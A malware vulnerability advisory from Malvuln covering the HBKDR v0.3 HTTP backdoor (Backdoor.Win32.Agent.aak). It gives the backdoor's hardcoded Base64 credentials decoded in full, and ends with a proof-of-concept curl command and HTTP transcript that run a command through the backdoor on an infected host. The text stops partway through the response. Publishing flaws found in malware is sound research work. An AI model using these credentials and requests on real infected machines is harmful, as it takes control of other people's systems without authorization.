Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/64f2fd4dbd9039e5bc054f475eaa582a.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.aak
Vulnerability: Weak Hardcoded Credentials
Description: The HTTP backdoor server HBKDR v0.3 listens on TCP port 8080 and accepts HTTP POST requests in order to execute commands on the infected system. The malware hardcodes two sets of weak Base64 encoded credentials in the malware "ZnVjazpkYXY=" (fuck:dav) and "ZGV2Om51bGw=" (dev:null). The credentials can be viewed easily running string util against the malware executable. The backdoor also uses insecure BASIC authentication disclosing the username/password on the wire in a packet sniffing scenario.
Type: PE32
MD5: 64f2fd4dbd9039e5bc054f475eaa582a
Vuln ID: MVID-2021-0094
Dropped files: 
Disclosure: 02/17/2021


Exploit/PoC:
curl -v "http://fuck:dav@192.168.1.10:8080/exec.hbd" -X POST -d "txtExec=calc"

* Server auth using Basic with user 'fuck'
> POST /exec.hbd HTTP/1.1
> Host: 192.168.1.10:8080
> Authorization: Basic ZnVjazpkYXY=
> User-Agent: curl/7.55.1
> Accept: */*
> Content-Length: 12
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 12 out of 12 bytes
< HTTP/1.1 200 OK
< Server: HBKDR v0.3
< Connection: close
< Date: Wed Feb 3 21:20:12 2021
< Content-Location: /exec.hbd
< Content-Type: text/html
< Transfer-Encoding: chunked
Command 


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